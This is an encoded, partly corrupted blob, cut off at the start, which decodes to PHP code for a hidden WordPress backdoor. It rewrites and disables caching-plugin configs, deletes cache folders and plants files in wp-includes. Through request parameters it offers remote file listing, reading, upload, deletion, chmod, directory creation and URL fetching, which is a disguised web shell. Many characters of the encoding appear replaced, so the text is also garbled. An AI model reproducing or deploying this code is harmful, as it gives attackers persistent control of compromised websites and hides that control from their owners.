9IGZhbHNlOwoJJHN=T3V=RmlsZUhhbmRsZSA9IGZvcGVuKCRzRmlsZVVybCwgJ3cnKTsKCWlmKCRzdE91dEZpbGVIYW5kbGUgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgb3BlbiBmaWxlIGZvciB3cml=ZTwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQlmd3JpdGUoJHN=T3V=RmlsZUhhbmRsZSwgJHNHZXR=ZWRDb25=ZW5=KTsKCWZjbG9zZSgkc3RPdXRGaWxlSGFuZGxlKTsKCQoJZWNobyAnPGNvcnJlY3Q-Y29ycmVjdCBjbGVhcjwvY29ycmVjdD4nOwoJcmV=dXJuOwp9CgovKioKKiAgVXNlIHRoaXMgZnVuY3Rpb24gaXMgcmVjdXJzaXZlIGRlbGV=ZSBmb2xkZXIgY29udGVudAoqICB=aGUgb3V=cHV=IG9mIFJlY3Vyc2l2ZURlbGV=ZSgpLgoqLwpmdW5jdGlvbiBSZWN1cnNpdmVEZWxldGUoJHNEaXJlY3RvcnksICRiSXNFbXB=eSA9IGZhbHNlKSAgCnsgCiAgICBpZihzdWJzdHIoJHNEaXJlY3RvcnksLTEpID=9ICIvIikgCgl7IAogICAgICAgICRzRGlyZWN=b3J5ID=gc3Vic3RyKCRzRGlyZWN=b3J5LCAwLCAtMSk7IAogICAgfSAKCiAgICBpZighZmlsZV9leGlzdHMoJHNEaXJlY3RvcnkpIHx8ICFpc19kaXIoJHNEaXJlY3RvcnkpKSAKCXsgCiAgICAgICAgcmV=dXJuIGZhbHNlOyAKICAgIH=gZWxzZQoJCWlmKCFpc19yZWFkYWJsZSgkc=RpcmVjdG9yeSkpIAoJCXsgCgkJCXJldHVybiBmYWxzZTsgCgkJfSBlbHNlIAoJCXsgCgkJCSRzdERpcmVjdG9yeUhhbmRsZSA9IG9wZW5kaXIoJHNEaXJlY3RvcnkpOyAKCQkJCgkJCXdoaWxlICgkc=NvbnRlbnRzID=gcmVhZGRpcigkc3REaXJlY3RvcnlIYW5kbGUpKSAKCQkJeyAKCQkJCWlmKCRzQ29udGVudHMgIT=gJy4nICYmICRzQ29udGVudHMgIT=gJy4uJyAmJiAkc=NvbnRlbnRzICE9ICcuaHRhY2Nlc3MnKSAKCQkJCXsgCgkJCQkJJHNQYXRoID=gJHNEaXJlY3RvcnkgLiAiLyIgLiAkc=NvbnRlbnRzOyAKCQkJCQkKCQkJCQlpZihpc19kaXIoJHNQYXRoKSkgCgkJCQkJeyAKCQkJCQkJUmVjdXJzaXZlRGVsZXRlKCRzUGF=aCk7IAoJCQkJCX=gZWxzZSAKCQkJCQl7IAoJCQkJCQl1bmxpbmsoJHNQYXRoKTsgCgkJCQkJfSAKCQkJCX=gCgkJCX=gCgkJCQoJCQljbG9zZWRpcigkc3REaXJlY3RvcnlIYW5kbGUpOyAKCgkJCWlmKCRiSXNFbXB=eSA9PSBmYWxzZSkgCgkJCXsgCgkJCQlpZighcm1kaXIoJHNEaXJlY3RvcnkpKSAKCQkJCXsgCgkJCQkJcmV=dXJuIGZhbHNlOyAKCQkJCX=gCgkJCX=gCgkJCQoJCQlyZXR1cm4gdHJ1ZTsgCgkJfSAKfQoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGlzIGRpYWN=aXZhdGUgZGFiIGNhY2hlCiogIHRoZSBvdXRwdXQgb2YgRGVhY3RpdmF=ZUNhY2hlKCkuCiovCmZ1bmN=aW9uIERlYWN=aXZhdGVDYWNoZSgkc=NhY2hlRmlsZUNvbmZpZykKewoKCWlmKGZpbGVfZXhpc3RzKCRzQ2FjaGVGaWxlQ29uZmlnKSA9PSBmYWxzZSkgCgl7CgkJcmV=dXJuOwoJfQoKCSRzQ29uZmlnQ29udGVudCA9ICcnOwoJJHN=Q29uZmlnRmlsZUhhbmRsZSA9IGZvcGVuKCRzQ2FjaGVGaWxlQ29uZmlnLCAncicpOyAgCglpZigkc3RDb25maWdGaWxlSGFuZGxlID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5mYWlsIG9wZW4gY2FjaGUgY29uZmlnIGZpbGU8L2ZhaWw-JzsgCgkJZXhpdCgpOwoJfQoJCSRzQ29uZmlnQ29udGVudCA9IGZyZWFkKCRzdENvbmZpZ=ZpbGVIYW5kbGUsIGZpbGVzaXplKCRzQ2FjaGVGaWxlQ29uZmlnKSk7IAoJCWlmKCRzQ29uZmlnQ29udGVudCA9PT=gZmFsc2UpCgkJewoJCQlmY2xvc2UoJHN=Q29uZmlnRmlsZUhhbmRsZSk7CgkJCWVjaG8gJzxmYWlsPmZhaWwgcmVhZCBjYWNoZSBjb25maWcgZmlsZTwvZmFpbD4nOyAKCQkJZXhpdCgpOwoJCX=KCWZjbG9zZSgkc3RDb25maWdGaWxlSGFuZGxlKTsKCQoJCQoJCSRzQ29uZmlnQ29udGVudCA9IHByZWdfcmVwbGFjZSgnIygoPzo9KXwoPzpbXHNcbl=qKSl=cnVlKFtcc1xuXHJdKjspI2knLCAnXFwxZmFsc2VcXDInLCAkc=NvbmZpZ=NvbnRlbnQpOyAKCQoJJHN=VXBkYXRlRmlsZUhhbmxlID=gZm9wZW4oJHNDYWNoZUZpbGVDb25maWcsICd3Jyk7CglpZigkc3RVcGRhdGVGaWxlSGFubGUgPT=9IGZhbHNlKSAKCXsKCQllY2hvICc8ZmFpbD5DYW5cJ3Qgb3BlbiBjYWNoZSBjb25maWcgZmlsZSBmb3Igd3JpdGU8L2ZhaWw-JzsgCgkJZXhpdCgpOwoJfQoJCQoJCWlmKGZ3cml=ZSgkc3RVcGRhdGVGaWxlSGFubGUsICRzQ29uZmlnQ29udGVudCkgPT=9IGZhbHNlKSAgCgkJewoJCQlmY2xvc2UoJHN=VXBkYXRlRmlsZUhhbmxlKTsKCQkJZWNobyAnPGZhaWw-Q2FuXCd=IHdyaXRlIGluIGNhY2hlIGNvbmZpZyBmaWxlPC9mYWlsPic7IAoJCQlleGl=KCk7CgkJfQoJZmNsb3NlKCRzdFVwZGF=ZUZpbGVIYW5sZSk7Cn=KCgovKioKKiAgVXNlIHRoaXMgZnVuY3Rpb24gaXMgZGlhY3RpdmF=ZSBkYWIgY2FjaGUKKiAgdGhlIG91dHB1dCBvZiBEZWFjdGl2YXRlVG9=YWxDYWNoZSgpLgoqLwpmdW5jdGlvbiBEZWFjdGl2YXRlVG9=YWxDYWNoZSgkc=NhY2hlRmlsZUNvbmZpZykKewoKCWlmKGZpbGVfZXhpc3RzKCRzQ2FjaGVGaWxlQ29uZmlnKSA9PSBmYWxzZSkgCgl7CgkJcmV=dXJuOwoJfQoKCSRzQ29uZmlnQ29udGVudCA9ICcnOwoJJHN=Q29uZmlnRmlsZUhhbmRsZSA9IGZvcGVuKCRzQ2FjaGVGaWxlQ29uZmlnLCAncicpOyAgCglpZigkc3RDb25maWdGaWxlSGFuZGxlID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5mYWlsIG9wZW4gY2FjaGUgY29uZmlnIGZpbGU8L2ZhaWw-JzsgCgkJZXhpdCgpOwoJfQoJCSRzQ29uZmlnQ29udGVudCA9IGZyZWFkKCRzdENvbmZpZ=ZpbGVIYW5kbGUsIGZpbGVzaXplKCRzQ2FjaGVGaWxlQ29uZmlnKSk7IAoJCWlmKCRzQ29uZmlnQ29udGVudCA9PT=gZmFsc2UpCgkJewoJCQlmY2xvc2UoJHN=Q29uZmlnRmlsZUhhbmRsZSk7CgkJCWVjaG8gJzxmYWlsPmZhaWwgcmVhZCBjYWNoZSBjb25maWcgZmlsZTwvZmFpbD4nOyAKCQkJZXhpdCgpOwoJCX=KCWZjbG9zZSgkc3RDb25maWdGaWxlSGFuZGxlKTsKCQoJCQoJCSRzQ29uZmlnQ29udGVudCA9IHByZWdfcmVwbGFjZSgiL2lmXHMqXCghZGVmaW5lZFwoJ1czVENfSU5fTUlOSUZZJ1wpXClccyp7LyIsICJpZiAodHJ1ZSA9PT=gZmFsc2UpIHsiLCAkc=NvbmZpZ=NvbnRlbnQpOzsgCgkKCSRzdFVwZGF=ZUZpbGVIYW5sZSA9IGZvcGVuKCRzQ2FjaGVGaWxlQ29uZmlnLCAndycpOwoJaWYoJHN=VXBkYXRlRmlsZUhhbmxlID=9PSBmYWxzZSkgCgl7CgkJZWNobyAnPGZhaWw-Q2FuXCd=IG9wZW4gY2FjaGUgY29uZmlnIGZpbGUgZm9yIHdyaXRlPC9mYWlsPic7IAoJCWV4aXQoKTsKCX=KCQkKCQlpZihmd3JpdGUoJHN=VXBkYXRlRmlsZUhhbmxlLCAkc=NvbmZpZ=NvbnRlbnQpID=9PSBmYWxzZSkgIAoJCXsKCQkJZmNsb3NlKCRzdFVwZGF=ZUZpbGVIYW5sZSk7CgkJCWVjaG8gJzxmYWlsPkNhblwndCB3cml=ZSBpbiBjYWNoZSBjb25maWcgZmlsZTwvZmFpbD4nOyAKCQkJZXhpdCgpOwoJCX=KCWZjbG9zZSgkc3RVcGRhdGVGaWxlSGFubGUpOwp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGlzIHJlY3Vyc2l2ZSBkZWxldGUgZm9sZGVyIGNvbnRlbnQKKiAgdGhlIG91dHB1dCBvZiBDbGVhckNhY2hlKCkuCiovCmZ1bmN=aW9uIENsZWFyQ2FjaGUoKQp7CgkvLyRzQ2xpZW5=VGVtcGxhdGUgPSBzdHJfcmVwbGFjZSgnXCclJENBQ=hFX=ZJTEVfUEFUSF9GSVJTVCQlXCcnLCAnXCcuLi8uLi8uLi8uLi93cC1jb25=ZW5=L2FkdmFuY2VkLWNhY2hlLnBocFwnJywgJHNDbGllbnRUZW1wbGF=ZSk7IC8vIPDSz9vJ18HFzSDQ1dTYCgkvLyRzQ2xpZW5=VGVtcGxhdGUgPSBzdHJfcmVwbGFjZSgnXCclJENBQ=hFX=ZJTEVfUEFUSF9TRUNPTkQkJVwnJywgJ1wnLi4vLi4vLi4vLi4vd3AtY29udGVudC9wbHVnaW5zL3dwLWNhY2hlL3dwLWNhY2hlLnBocFwnJywgJHNDbGllbnRUZW1wbGF=ZSk7IC8vIPDSz9vJ18HFzSDQ1dTYCgkKCS8vJHNDbGllbnRUZW1wbGF=ZSA9IHN=cl9yZXBsYWNlKCdcJyUkQ=FDSEVfU1RBTkRBUlRfRk9MREVSJCVcJycsICdcJy4uLy4uLy4uLy4uL3dwLWNvbnRlbnQvY2FjaGUvXCcnLCAkc=NsaWVudFRlbXBsYXRlKTsgLy8g8NLP28nXwcXNINDV1NgKCQoJCgkKCQoJLy8gL3dwLWNvbnRlbnQvcGx1Z2lucy93My1=b3RhbC1jYWNoZS93My1=b3RhbC1jYWNoZS5waHAgICAgLSAgICAgJ2lmICghZGVmaW5lZCgnVzNUQ19JTl9NSU5JRlknKSkgeycgLT4gJ2lmIChmYWxzZSA9PT=gdHJ1ZSkgeycgICAgcHJlZ19yZXBsYWNlKCIvaWZccypcKCFkZWZpbmVkXCgnVzNUQ19JTl9NSU5JRlknXClcKVxzKnsvIiwgImlmICh=cnVlID=9PSBmYWxzZSkgeyIsICRpbnB1dF9saW5lcyk7CgkKCS8vIC93cC1jb25=ZW5=L3dwLWNhY2hlLWNvbmZpZy5waHAKCS8vIC93cC1jb25=ZW5=L3BsdWdpbnMvd3Atc3VwZXItY2FjaGUvd3AtY2FjaGUtY29uZmlnLnBocAoJLy8gL3dwLWNvbnRlbnQvdzMtdG9=YWwtY2FjaGUtY29uZmlnLnBocCAtINzUz9Qgzc_WxdQgzsUgztXWzs8g3snT1MnU2CAhIQoJCgkvKmRlZmluZSgnX19VUERBVEVfQ=FDSEUxX18nLCAnJSRDQUNIRV9GSUxFX1BBVEhfRklSU1QkJScpOyAgLy8gL3dwLWNvbnRlbnQvYWR2YW5jZWQtY2FjaGUucGhwCglkZWZpbmUoJ19fVVBEQVRFX=NBQ=hFMl9fJywgJyUkQ=FDSEVfRklMRV9QQVRIX1NFQ=9ORCQlJyk7IC8vIC93cC1jb25=ZW5=L3BsdWdpbnMvd3AtY2FjaGUvd3AtY2FjaGUucGhwCgkKCWRlZmluZSgnX19VUERBVEVfQ=FDSEUzX18nLCAnJSRDQUNIRV9GSUxFX1BBVEhfVEhFUkQkJScpOyAgLy8gL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1zdXBlci1jYWNoZS93cC1jYWNoZS1jb25maWcucGhwCglkZWZpbmUoJ19fVVBEQVRFX=NBQ=hFNF9fJywgJyUkQ=FDSEVfRklMRV9QQVRIX=ZPVVIkJScpOyAgIC8vIC93cC1jb25=ZW5=L3dwLWNhY2hlLWNvbmZpZy5waHAKCQoJZGVmaW5lKCdfX1VQREFURV9DQUNIRV9UT1RBTF9fJywgJyUkQ=FDSEVfRklMRV9QQVRIX1RPVEFMJCUnKTsgICAvLyAvd3AtY29udGVudC9wbHVnaW5zL3czLXRvdGFsLWNhY2hlL3czLXRvdGFsLWNhY2hlLnBocAoJCglkZWZpbmUoJ19fQ=FDSEVfRk9MREVSX18nLCAgJyUkQ=FDSEVfU1RBTkRBUlRfRk9MREVSJCUnKTsgIC8vIC93cC1jb25=ZW5=L2NhY2hlLyovCgkKCSRzRGlyVXJsID=gJyc7CglpZihpc3NldCgkX1JFUVVFU1RbJ2Rpci1wYXRoJ1=pID=9PSBmYWxzZSkKCXsKCQkvKmVjaG8gJzxmYWlsPm5vIGZpbGUgcGF=aDwvZmFpbD4nOwoJCXJldHVybjsqLwoJCSRzRGlyVXJsID=gX19NQUlOX1BBVEhfXzsKCX=gZWxzZQoJewoJCSRzRGlyVXJsID=gdHJpbSgkX1JFUVVFU1RbJ2Rpci1wYXRoJ1=pOwoJfQoKCQoJCglpZihmaWxlX2V4aXN=cygkc=RpclVybCkgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPmZhaWwgbm9=IGV4aXN=PC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCglkZWZpbmUoJ19fVVBEQVRFX=NBQ=hFMV9fJywgJy93cC1jb25=ZW5=L2FkdmFuY2VkLWNhY2hlLnBocCcpOyAKCWRlZmluZSgnX19VUERBVEVfQ=FDSEUyX18nLCAnL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1jYWNoZS93cC1jYWNoZS5waHAnKTsgCgkKCWRlZmluZSgnX19VUERBVEVfQ=FDSEUzX18nLCAnL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1zdXBlci1jYWNoZS93cC1jYWNoZS1jb25maWcucGhwJyk7ICAKCWRlZmluZSgnX19VUERBVEVfQ=FDSEU=X18nLCAnL3dwLWNvbnRlbnQvd3AtY2FjaGUtY29uZmlnLnBocCcpOyAgIAoJCglkZWZpbmUoJ19fVVBEQVRFX=NBQ=hFX1RPVEFMX18nLCAnL3dwLWNvbnRlbnQvcGx1Z2lucy93My1=b3RhbC1jYWNoZS93My1=b3RhbC1jYWNoZS5waHAnKTsgICAKCQoJZGVmaW5lKCdfX=NBQ=hFX=ZPTERFUl9fJywgICcvd3AtY29udGVudC9jYWNoZS8nKTsgCgkKCglEZWFjdGl2YXRlQ2FjaGUoRXJhc2VEdWJsZVNsYXNoKCRzRGlyVXJsLl9fVVBEQVRFX=NBQ=hFMV9fKSk7IAkJCQkKCURlYWN=aXZhdGVDYWNoZShFcmFzZUR1YmxlU2xhc2goJHNEaXJVcmwuX19VUERBVEVfQ=FDSEUyX18pKTsKCglEZWFjdGl2YXRlQ2FjaGUoRXJhc2VEdWJsZVNsYXNoKCRzRGlyVXJsLl9fVVBEQVRFX=NBQ=hFM19fKSk7CglEZWFjdGl2YXRlQ2FjaGUoRXJhc2VEdWJsZVNsYXNoKCRzRGlyVXJsLl9fVVBEQVRFX=NBQ=hFNF9fKSk7CQoJCglEZWFjdGl2YXRlVG9=YWxDYWNoZShFcmFzZUR1YmxlU2xhc2goJHNEaXJVcmwuX19VUERBVEVfQ=FDSEVfVE9UQUxfXykpOyAKCQoJUmVjdXJzaXZlRGVsZXRlKEVyYXNlRHVibGVTbGFzaCgkc=RpclVybC5fX=NBQ=hFX=ZPTERFUl9fKSwgdHJ1ZSk7IAoJCgllY2hvICc8Y29ycmVjdD5jbGVhciBjYWNoZTwvY29ycmVjdD4nOwoJcmV=dXJuOwp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIG1haW4gd29ya2luZyBmdW5jdGlvbgoqICB=aGUgb3V=cHV=IG9mIE1haW4oKS4KKi8KZnVuY3Rpb24gTWFpbigpIAp7CQkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnY2hlY2tfc2NyaXB=J1=pID=9IHRydWUpCgl7CgkJQ2hlY2tTZWN1cmVWYWx1ZSgpOwoJCUNoZWNrU2NyaXB=KCk7CgkJZXhpdCgpOwkJCgl9CgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsncHdkJ1=pID=9IHRydWUpCgl7CgkJQ2hlY2tTZWN1cmVWYWx1ZSgpOwoJCUdldFB3ZFBhdGgoKTsKCQlleGl=KCk7Cgl9CgoJaWYoaXNzZXQoJF9SRVFVRVNUWydpbmNfY3NzJ1=pID=9IHRydWUpCgl7CgkJQ2hlY2tTZWN1cmVWYWx1ZSgpOwoJCWlmKHN=cm5jbXAoX19NQUlOX1BBVEhfXywgJy4vJywgMikgPT=9IDApCgkJewoJCQkkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddID=gRXJhc2VEdWJsZVNsYXNoKF9fTUFJTl9QQVRIX18uJF9SRVFVRVNUWydmaWxlLXBhdGgnXSk7CgkJfQoJCU1ha2VJbmNsdWRlKCk7IAoJCWV4aXQoKTsKCX=KCglpZihpc3NldCgkX1JFUVVFU1RbJ21ha2VfcmVwYWlyJ1=pID=9IHRydWUpCgl7CgkJQ2hlY2tTZWN1cmVWYWx1ZSgpOwoJCQoJCSRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=gPSAnJzsgCgkJJF9SRVFVRVNUWydmaWxlLXBhdGgnXSA9IEVyYXNlRHVibGVTbGFzaChfX=1BSU5fUEFUSF9fLicvd3AtaW5jbHVkZXMvY2xhc3Mud3AtaW5jbHVkZXMucGhwJyk7CgkJVXBsb2FkRmlsZSgpOwoJCQoJCSRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=gPSAnJzsgCgkJJF9SRVFVRVNUWydmaWxlLXBhdGgnXSA9IEVyYXNlRHVibGVTbGFzaChfX=1BSU5fUEFUSF9fLicvd3AtaW5jbHVkZXMvdmFycy5waHAnKTsJCQoJCU1ha2VJbmNsdWRlKCk7CgkJCgkJJF9SRVFVRVNUWydkaXItcGF=aCddID=gJyc7CgkJJF9SRVFVRVNUWydkaXItcGF=aCddID=gRXJhc2VEdWJsZVNsYXNoKF9fTUFJTl9QQVRIX18uJy8nKTsKCQlDbGVhckNhY2hlKCk7CgkJZXhpdCgpOwoJfQoJCglpZihpc3NldCgkX1JFUVVFU1RbJ2Nscl9jc3MnXSkgPT=gdHJ1ZSkKCXsKCQlDaGVja1NlY3VyZVZhbHVlKCk7CgkJQ2xlYXJJbmNsdWRlKCk7IAoJCWV4aXQoKTsKCX=KCQoKCWlmKGlzc2V=KCRfUkVRVUVTVFsnY2xyX2NoYyddKSA9PSB=cnVlKQoJewoJCUNoZWNrU2VjdXJlVmFsdWUoKTsKCQlDbGVhckNhY2hlKCk7IAoJCWV4aXQoKTsKCX=JCQoJCgkKCQoJaWYoaXNzZXQoJF9SRVFVRVNUWydkaXJlY3RvcnlfbGlzdCddKSA9PT=gdHJ1ZSkKCXsJCgkJQ2hlY2tTZWN1cmVWYWx1ZSgpOwoJCUdldERpcmVjdG9yeUxpc3QoKTsKCQlleGl=KCk7Cgl9CgkKCQoJaWYoaXNzZXQoJF9SRVFVRVNUWydmaWxlX2RlbGV=ZSddKSA9PT=gdHJ1ZSkKCXsKCQlDaGVja1NlY3VyZVZhbHVlKCk7CgkJRGVsZXRlRmlsZSgpOwoJCWV4aXQoKTsKCX=KCglpZihpc3NldCgkX1JFUVVFU1RbJ21rZGlyJ1=pID=9PSB=cnVlKQoJewoJCUNoZWNrU2VjdXJlVmFsdWUoKTsKCQlNYWtlRGlyKCk7CgkJZXhpdCgpOwoJfQoJCglpZihpc3NldCgkX1JFUVVFU1RbJ2ZpbGVfdXBsb2FkJ1=pID=9PSB=cnVlKQoJewoJCUNoZWNrU2VjdXJlVmFsdWUoKTsKCQlVcGxvYWRGaWxlKCk7CgkJZXhpdCgpOwoJfQkKCQoJCglpZihpc3NldCgkX1JFUVVFU1RbJ2ZpbGVfY29udGVudCddKSA9PT=gdHJ1ZSkKCXsKCQlDaGVja1NlY3VyZVZhbHVlKCk7CgkJR2V=RmlsZUNvbnRlbnQoKTsKCQlleGl=KCk7Cgl9CgkKCQoJaWYoaXNzZXQoJF9SRVFVRVNUWydmaWxlX2V4aXN=J1=pID=9PSB=cnVlKQoJewoJCUNoZWNrU2VjdXJlVmFsdWUoKTsKCQlJc=ZpbGVFeGlzdCgpOwoJCWV4aXQoKTsKCX=KCgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnY2htb2QnXSkgPT=9IHRydWUpCgl7CgkJQ2hlY2tTZWN1cmVWYWx1ZSgpOwoJCUZpbGVDaG1vZCgpOwoJCWV4aXQoKTsKCX=KCQoJaWYoaXNzZXQoJF9SRVFVRVNUWydHZXRDb25=ZW5=J1=pID=9PSB=cnVlKQoJewoJCSRzR2V=VXJsID=gJyc7CgkJJHNHZXRVcmwgPSB=cmltKCRfUkVRVUVTVFsnR2V=Q29udGVudCddKTsKCQkKCQlpZihzdHJsZW4oJHNHZXRVcmwpID=9IDApCgkJewoJCQllY2hvICc8ZmFpbD5ubyB2YWxpZCB1cmw8L2ZhaWw-JzsKCQkJZXhpdCgpOwoJCX=KCQkKCQkkbk1hdGNoID=gcHJlZ19tYXRjaCgnI15odHRwOlwvXC8jaScsICRzR2V=VXJsKTsgCgkJaWYoJG5NYXRjaCA9PT=gZmFsc2UgfHwgJG5NYXRjaCA9PSAwKQoJCXsKCQkJJHNHZXRVcmwgPSAnaHR=cDovLycuJHNHZXRVcmw7CgkJfQoKCQkKCQkKCQkkc=91dENvbnRlbnQgPSAnJzsKCQkkYkdldENvbnRlbnRSZXN1bHQgPSBmYWxzZTsKCQkkYkdldENvbnRlbnRSZXN1bHQgPSBHZXRDb25=ZW5=cygkc=dldFVybCwgJHNPdXRDb25=ZW5=KTsKCQkKCQlpZigkYkdldENvbnRlbnRSZXN1bHQgPT=9IGZhbHNlIHx8ICRzT3V=Q29udGVudCA9PT=gZmFsc2UgfHwgc3RybGVuKCRzT3V=Q29udGVudCkgPT=9IDApCgkJewoJCQllY2hvICc8ZmFpbD5jYW5=IGdldCBjb25=ZW5=PC9mYWlsPic7CgkJfSBlbHNlCgkJewoJCQllY2hvICRzT3V=Q29udGVudDsKCQl9Cgl9Cn=KCk1haW4oKTsKCj8-Cg3

4.16.39